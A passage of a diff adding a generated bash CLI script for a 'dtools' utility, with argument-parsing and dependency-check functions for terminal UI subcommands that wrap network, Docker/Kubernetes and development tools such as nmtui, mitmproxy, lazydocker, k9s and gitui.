"$@" + shift $# + ;; + + api-client) + action="api-client" + shift + dtools_tui_network_api_client_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_tui_network_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_network_manager_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_network_manager_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v nmtui >/dev/null 2>&1; then + printf "missing dependency: nmtui\n" >&2 + printf "%s\n\n" "See 'https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html/networking_guide/sec-configuring_ip_networking_with_nmtui'" >&2 + missing_deps=1 + else + deps['nmtui']="$(command -v nmtui | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui network network-manager" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_bluetooth_manager_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_bluetooth_manager_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v bluetuith >/dev/null 2>&1; then + printf "missing dependency: bluetuith\n" >&2 + printf "%s\n\n" "See 'https://github.com/bluetuith-org/bluetuith'" >&2 + missing_deps=1 + else + deps['bluetuith']="$(command -v bluetuith | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui network bluetooth-manager" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_wireguard_config_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_wireguard_config_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v wg-cmd >/dev/null 2>&1; then + printf "missing dependency: wg-cmd\n" >&2 + printf "%s\n\n" "See 'https://github.com/andrianbdn/wg-cmd'" >&2 + missing_deps=1 + else + deps['wg-cmd']="$(command -v wg-cmd | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui network wireguard-config" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_mitm_proxy_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_mitm_proxy_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v mitmproxy >/dev/null 2>&1; then + printf "missing dependency: mitmproxy\n" >&2 + printf "%s\n\n" "See 'https://www.mitmproxy.org/'" >&2 + missing_deps=1 + else + deps['mitmproxy']="$(command -v mitmproxy | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui network mitm-proxy" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_proxy_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_proxy_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v proxyfor >/dev/null 2>&1; then + printf "missing dependency: proxyfor\n" >&2 + printf "%s\n\n" "See 'https://github.com/sigoden/proxyfor'" >&2 + missing_deps=1 + else + deps['proxyfor']="$(command -v proxyfor | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui network proxy" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_proxymock_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_proxymock_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v proxymock >/dev/null 2>&1; then + printf "missing dependency: proxymock\n" >&2 + printf "%s\n\n" "See 'https://speedscale.com/proxymock/'" >&2 + missing_deps=1 + else + deps['proxymock']="$(command -v proxymock | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui network proxymock" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_http_load_generator_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_http_load_generator_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v oha >/dev/null 2>&1; then + printf "missing dependency: oha\n" >&2 + printf "%s\n\n" "See 'https://github.com/hatoo/oha'" >&2 + missing_deps=1 + else + deps['oha']="$(command -v oha | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui network http-load-generator" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_ping_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_ping_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v gping >/dev/null 2>&1; then + printf "missing dependency: gping\n" >&2 + printf "%s\n\n" "See 'https://github.com/orf/gping'" >&2 + missing_deps=1 + else + deps['gping']="$(command -v gping | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui network ping" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_full_browser_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_full_browser_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v browsh >/dev/null 2>&1; then + printf "missing dependency: browsh\n" >&2 + printf "%s\n\n" "See 'https://www.brow.sh/'" >&2 + missing_deps=1 + else + deps['browsh']="$(command -v browsh | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui network full-browser" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_elinks_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_elinks_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v elinks >/dev/null 2>&1; then + printf "missing dependency: elinks\n" >&2 + printf "%s\n\n" "See 'http://elinks.or.cz/'" >&2 + missing_deps=1 + else + deps['elinks']="$(command -v elinks | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui network elinks" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_w3m_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_w3m_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v w3m >/dev/null 2>&1; then + printf "missing dependency: w3m\n" >&2 + printf "%s\n\n" "See 'https://github.com/acg/w3m'" >&2 + missing_deps=1 + else + deps['w3m']="$(command -v w3m | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui network w3m" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_lynx_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_lynx_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v lynx >/dev/null 2>&1; then + printf "missing dependency: lynx\n" >&2 + printf "%s\n\n" "See 'https://lynx.browser.org/'" >&2 + missing_deps=1 + else + deps['lynx']="$(command -v lynx | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui network lynx" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_carbonyl_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_carbonyl_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v carbonyl >/dev/null 2>&1; then + printf "missing dependency: carbonyl\n" >&2 + printf "%s\n\n" "See 'https://github.com/fathyb/carbonyl'" >&2 + missing_deps=1 + else + deps['carbonyl']="$(command -v carbonyl | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui network carbonyl" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_http_request_client_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_http_request_client_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v wuzz >/dev/null 2>&1; then + printf "missing dependency: wuzz\n" >&2 + printf "%s\n\n" "See 'https://github.com/asciimoo/wuzz'" >&2 + missing_deps=1 + else + deps['wuzz']="$(command -v wuzz | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui network http-request-client" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_http_request_client_2_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_http_request_client_2_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v slumber >/dev/null 2>&1; then + printf "missing dependency: slumber\n" >&2 + printf "%s\n\n" "See 'https://slumber.lucaspickering.me/'" >&2 + missing_deps=1 + else + deps['slumber']="$(command -v slumber | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui network http-request-client-2" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_api_client_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_api_client_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v atac >/dev/null 2>&1; then + printf "missing dependency: atac\n" >&2 + printf "%s\n\n" "See 'https://atac.julien-cpsn.com/'" >&2 + missing_deps=1 + else + deps['atac']="$(command -v atac | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui network api-client" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_docker_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_docker_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + docker) + action="docker" + shift + dtools_tui_docker_docker_parse_requirements "$@" + shift $# + ;; + + docker-layer-analyzer) + action="docker-layer-analyzer" + shift + dtools_tui_docker_docker_layer_analyzer_parse_requirements "$@" + shift $# + ;; + + kubernetes) + action="kubernetes" + shift + dtools_tui_docker_kubernetes_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_tui_docker_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_docker_docker_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_docker_docker_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v lazydocker >/dev/null 2>&1; then + printf "missing dependency: lazydocker\n" >&2 + printf "%s\n\n" "See 'https://github.com/jesseduffield/lazydocker'" >&2 + missing_deps=1 + else + deps['lazydocker']="$(command -v lazydocker | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui docker docker" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_docker_docker_layer_analyzer_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_docker_docker_layer_analyzer_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v dive >/dev/null 2>&1; then + printf "missing dependency: dive\n" >&2 + printf "%s\n\n" "See 'https://github.com/wagoodman/dive'" >&2 + missing_deps=1 + else + deps['dive']="$(command -v dive | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui docker docker-layer-analyzer" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_docker_kubernetes_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_docker_kubernetes_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v k9s >/dev/null 2>&1; then + printf "missing dependency: k9s\n" >&2 + printf "%s\n\n" "See 'https://github.com/derailed/k9s'" >&2 + missing_deps=1 + else + deps['k9s']="$(command -v k9s | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui docker kubernetes" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_development_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_development_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + git) + action="git" + shift + dtools_tui_development_git_parse_requirements "$@" + shift $# + ;; + + jira) + action="jira" + shift + dtools_tui_development_jira_parse_requirements "$@" + shift $# + ;; + + readme) + action="readme" + shift + dtools_tui_development_readme_parse_requirements "$@" + shift $# + ;; + + tail-logs) + action="tail-logs" + shift + dtools_tui_development_tail_logs_parse_requirements "$@" + shift $# + ;; + + drft) + action="drft" + shift + dtools_tui_development_drft_parse_requirements "$@" + shift $# + ;; + + wrkflw) + action="wrkflw" + shift + dtools_tui_development_wrkflw_parse_requirements "$@" + shift $# + ;; + + gama) + action="gama" + shift + dtools_tui_development_gama_parse_requirements "$@" + shift $# + ;; + + ecs) + action="ecs" + shift + dtools_tui_development_ecs_parse_requirements "$@" + shift $# + ;; + + openapi) + action="openapi" + shift + dtools_tui_development_openapi_parse_requirements "$@" + shift $# + ;; + + gcs) + action="gcs" + shift + dtools_tui_development_gcs_parse_requirements "$@" + shift $# + ;; + + prs) + action="prs" + shift + dtools_tui_development_prs_parse_requirements "$@" + shift $# + ;; + + s3) + action="s3" + shift + dtools_tui_development_s3_parse_requirements "$@" + shift $# + ;; + + terraform) + action="terraform" + shift + dtools_tui_development_terraform_parse_requirements "$@" + shift $# + ;; + + journal) + action="journal" + shift + dtools_tui_development_journal_parse_requirements "$@" + shift $# + ;; + + multi-host-log-viewer) + action="multi-host-log-viewer" + shift + dtools_tui_development_multi_host_log_viewer_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_tui_development_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_development_git_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_development_git_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v gitui >/dev/null 2>&1; then + printf "missing dependency: gitui\n" >&2 + printf "%s\n\n" "See 'https://github.com/gitui-org/gitui'" >&2 + missing_deps=1 + else + deps['gitui']="$(command -v gitui | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui development git" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_development_jira_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_development_jira_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v jirust >/dev/null 2>&1; then + printf "missing dependency: jirust\n" >&2 + printf "%s\n\n" "See 'https://github.com/Code-Militia/jirust'" >&2 + missing_deps=1 + else + deps['jirust']="$(command -v jirust | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui development jira" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_development_readme_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_development_readme_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v glow >/dev/null 2>&1; then + printf "missing dependency: glow\n" >&2 + printf "%s\n\n" "See 'https://github.com/charmbracelet/glow'" >&2 + missing_deps=1 + else + deps['glow']="$(command -v glow | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui development readme" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_development_tail_logs_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_development_tail_logs_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v lnav >/dev/null 2>&1; then + printf "missing dependency: lnav\n" >&2 + printf "%s\n\n" "See 'https://lnav.readthedocs.io/en/latest/'" >&2 + missing_deps=1 + else + deps['lnav']="$(command -v lnav | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui development tail-logs" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_development_drft_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_development_drft_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v drft >/dev/null 2>&1; then + printf "missing dependency: drft\n" >&2 + printf "%s\n\n" "See 'https://codeberg.org/nightsail/drft'" >&2 + missing_deps=1 + else + deps['drft']="$(command -v drft | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui development drft" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_development_wrkflw_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_development_wrkflw_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v wrkflw >/dev/null 2>&1; then + printf "missing dependency: wrkflw\n" >&2 + printf "%s\n\n" "See 'https://github.com/bahdotsh/wrkflw'" >&2 + missing_deps=1 + else + deps['wrkflw']="$(command -v wrkflw | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui development wrkflw" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_development_gama_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_development_gama_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v actions >/dev/null 2>&1; then + printf "missing dependency: actions\n" >&2 + printf "%s\n\n" "See 'https://github.com/termkit/gama'" >&2 + missing_deps=1 + else + deps['actions']="$(command -v actions | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui development gama" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_development_ecs_parse_requirements() { + local key + + # :command.fixed_flags_filter + while 